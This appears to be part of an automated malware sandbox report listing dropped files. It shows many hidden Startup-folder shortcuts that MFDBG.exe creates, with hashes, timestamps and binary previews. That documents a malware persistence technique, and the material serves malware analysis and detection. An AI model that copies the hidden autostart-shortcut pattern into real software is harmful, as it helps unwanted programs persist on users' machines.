Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b0bf43189bc84c2bb590ac1213d99c1d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939793836777296
Encrypted:	false
SSDEEP:	24:8M8hBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MOh0R6rMhpBoUBxdRd1nYyg
MD5:	62F2F24D8BC68ED6BF692F9CA302485A
SHA1:	E50C5273F3AB9A12485516E06F841B08EB79A79A
SHA-256:	4A84CD9D7FFD3C716F4BADFC6F3218C63ACD1B41835E355DB76F29565AB21DBB
SHA-512:	62FB762BC733E541A2F096D77759F6DA346F927C8AC8BA6D7115D3FDB890ED550605716C108C04552EF37A3080FA362C6241FCF02E5699C26126C9484790DE78
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...^...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b0d0a33890754d73b5bb487c3a3b8c45.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941555951314742
Encrypted:	false
SSDEEP:	24:85hBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Zh0R6rMhpBoUBxdRd1nYyg
MD5:	1E54E732060EC7A910C90CB95B72970B
SHA1:	1310C6BBBD6B3AC8DC4309F819617A051EEDE94D
SHA-256:	3BA976907B480A9668F629DA28B468D59BA68BF86B2852A4173BB9ED9FB7FC6E
SHA-512:	6EB6725011513D511421D533A8FE77F0BCFC84AB0CF8742223F8B1CE8FC3F623AE5290E2458F6A258B87114ABBF5C8250C2CA5BEE9582103791922A6C4F26ECC
Malicious:	false
Preview:	L..................F...."...]W%.{...,...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O1..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b0e4010ffb824a23b208857940907bcb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935594622435584
Encrypted:	false
SSDEEP:	24:8KshBfQD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8jp0R6rMhpBoUBxdRd1nYyg
MD5:	0AA44C58011D60FA6614A50A1ECDC827
SHA1:	5FFB2418FB89703A48E453EEC94221C8706DE375
SHA-256:	B4CF1ABC2D6FEC443EA6B04B468D377E7F4762BB76834380BC2515D1D193559B
SHA-512:	3052A0238949A0672BDBF20D080A05FCAB7C2B156DA0A2929445132F5505ACC9C9FC041F07E78732EF82D65ED64F02FE5E83A1B51C7AAEBC477FC0B8EC047A83
Malicious:	false
Preview:	L..................F...."...]W%.{....%t.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...!.l.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b1130f88b1cc4f99925df37afab6548c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9401736995923855
Encrypted:	false
SSDEEP:	24:8phBfF+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pp0R6rMhpBoUBxdRd1nYyg
MD5:	A95B699B4B1AABAB464664B4786FF2AF
SHA1:	253CD248DD4FCF8853543C2825F6069CEBC67D61
SHA-256:	183FFD9091657F23EB9703AEC1D3C655D14DEA0A1A0D8004D79C0E88F8C391A8
SHA-512:	5A74DFCEDBE9DD3C207410197FBF8EC0C54020ED31F471F2248BB3CAC8626D8B724E1980328FB4A005893482349E4F58E30731F9BEF7911F47D06390DCB00ADB
Malicious:	false
Preview:	L..................F...."...]W%.{...;...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b12d5cba80e04db5821b8948f8be8fea.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942874728379834
Encrypted:	false
SSDEEP:	24:80hBfe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82L0R6rMhpBoUBxdRd1nYyg
MD5:	EEE310234B51B2EAB617652EFABD8B08
SHA1:	7C11AE0EE4E862CA62766FEE38641F0ECFFD7B36
SHA-256:	E2FB29C6D73A5CA6C9421E826FE3B3A5CCF8938F819AA19581268E1C7095EC5F
SHA-512:	6746A3692913289E91C8F4E982EC93D1D31D28F8B8A7BE79121924F991E91E6C56E5B1E4AC0C2C2A449C37F54F3ADB6B0B90BA5BDF2F36987A565A3576F1FECD
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S/..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b1a08f77256e4599ad80d9a4518f045f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931361669378191
Encrypted:	false
SSDEEP:	24:8+5hBfI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:80gT0R6rMhpBoUBxdRd1nYyg
MD5:	525B01AB126AE83E9516AFD829F31A96
SHA1:	EB50CE78512F81E6B8BC85292092426069686711
SHA-256:	D2F081B38D9B3D7E3659855CACEAD5FABA29C72F38E228A6D0182411D409D61C
SHA-512:	3D887892756EDE3AE24C872C161E8439CE0D37E5D29AB8393649C693BB9B9C261B53225923FDF7CD210973836346E64A48341E2C9C5A7337F73F82EFEB37B226
Malicious:	false
Preview:	L..................F...."...]W%.{...fi..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b1e434ab00a1404780827bb258ed3264.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933528796556697
Encrypted:	false
SSDEEP:	24:8BhBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xud0R6rMhpBoUBxdRd1nYyg
MD5:	44B2BCE9A8107D23D64E05F15EF08C96
SHA1:	4CCB661F8C4B59B00A32B6A408D0890F8EC81C11
SHA-256:	FC332080A008F022EB478768812E4613FF15ECF34B4FFA31D1731D26165B6717
SHA-512:	3C4462902D7F33B5861FAD256BBB5FB1495AFA22B2E6A0D652AD844DC795237EDFD6B823390D45EAE55FED89FF33FC7F2D948826649300BA6F942C1662C28A46
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b1e78cc89e4a4ec8bc205103648b0741.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942944842348092
Encrypted:	false
SSDEEP:	24:8+phBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86C0R6rMhpBoUBxdRd1nYyg
MD5:	FC5B8C5CA02C6382C6BFA47907065E42
SHA1:	70E7F14F642617615F915D30970B5B567D6ED927
SHA-256:	7F51046B75F42E10DC4CCB7414C37C7F29B4F4F6730E95EAFB02F3529EFD530F
SHA-512:	4A7CC6517D7226DF24EF2B3B4CDFEED0DEC9A3D60BBAE22264E5708673F9527D719E1368B22AF4571B93CCCBEB61E0611FFA721E4EF605F1C58D33805ECB70E8
Malicious:	false
Preview:	L..................F...."...]W%.{...z.C.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....7.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b219d9deccd34c16b60c71974e822938.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938323597856608
Encrypted:	false
SSDEEP:	24:8vphBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8hR0R6rMhpBoUBxdRd1nYyg
MD5:	86E0AF5A67491DF94E3E379710920601
SHA1:	6AEE4A7021ADD443976CD32855EA288475A53236
SHA-256:	A08ECB8AD5028F1CB8E82E5B99503A647DAEC094D26BE61CBA2F532752AB0BAE
SHA-512:	8360E5F56B3FFA135ED78328A41E64780D1B5721DB5AD7BDC8A150696031FCFEA81E911513D5F476B81EFCC67CCBF38C8E7CF2A1D53588BEE98204C553A6B71D
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b2387fddc2664a4280c96adc0f3e7566.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931101582898404
Encrypted:	false
SSDEEP:	24:81hBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8lud0R6rMhpBoUBxdRd1nYyg
MD5:	2B7153E4020441A0B11AAEE9EF86FB34
SHA1:	D8E66E6001BCA8A8D6F64CDEF072D708594FAB52
SHA-256:	E988D7035114C63D7C17E7C17108C7C7422751F4C177174F897A63207BBF5849
SHA-512:	003F39157E452AFC69096B22CB611442CBE665651E8208D39DC06E1EB4155323396DA068DC2E35ADEB0CDC80532844128BFDB52CE72CA9D50A77F6FB235442CA
Malicious:	false
Preview:	L..................F...."...]W%.{...uw".{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b28f60621b8f487889e77987019ecbd2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9342653574189095
Encrypted:	false
SSDEEP:	24:88hBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8OKI0R6rMhpBoUBxdRd1nYyg
MD5:	0961FF075E13688AA33A885E765F6CED
SHA1:	0BCA396D1005794EC326599EF64C02D7D6D35836
SHA-256:	C626B68F4E485EBAD1AD655D9AAA1D892AE0F5FFB9C0AF80F9EE2E3531970CDF
SHA-512:	3C3CEFD729A3B50FC810A9428791B1729FAF4392B8FB5140AA21096798D090E93B9B24BDCE8494864B821E0EFEEC451AE89F4B6709D04395B3408B63326E6F77
Malicious:	false
Preview:	L..................F...."...]W%.{...-.2.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b2ca93e6b67249ac823791c65cfa1194.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934134269660868
Encrypted:	false
SSDEEP:	24:8OhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Er0R6rMhpBoUBxdRd1nYyg
MD5:	66982BFD933BD1E6A09D002EE3C007A3
SHA1:	37B7C1722C9E8D4AA15A641BD55744E7CA827ABB
SHA-256:	B36C18A69590805CC2CDCC75D92E954FD790B08C009DC2EC4DEDFB01BC55C37F
SHA-512:	9B911501927D02B2AFFAA4C64E2EB5439961E75158AAFDD0EB9442F427656AF48F632C54206E856A40736E367D161F6FB92470D6E0C9FBFB318856D5D4912AEC
Malicious:	false
Preview:	L..................F...."...]W%.{....X..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b2fc07bda9e246b4adb2f2651995d85a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935589322043604
Encrypted:	false
SSDEEP:	24:88hBfeh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8O/0R6rMhpBoUBxdRd1nYyg
MD5:	D4938C88604657026082092552BD1169
SHA1:	1760D0F151E30240958422C53A2E39F6A8592AFE
SHA-256:	12B4B48D7A474EEF90863741EB42A3067E580797F555FE8F1F1594C3E86B6EF1
SHA-512:	2B1DE28FCA5FDBDBC1939699A764703C5B9B271A97283A0928A54DC8804D46DAC9E3024120D64B1041DC4949CF92A6B5E864129D4E38DAA754C5B01F76F1CFC5
Malicious:	false
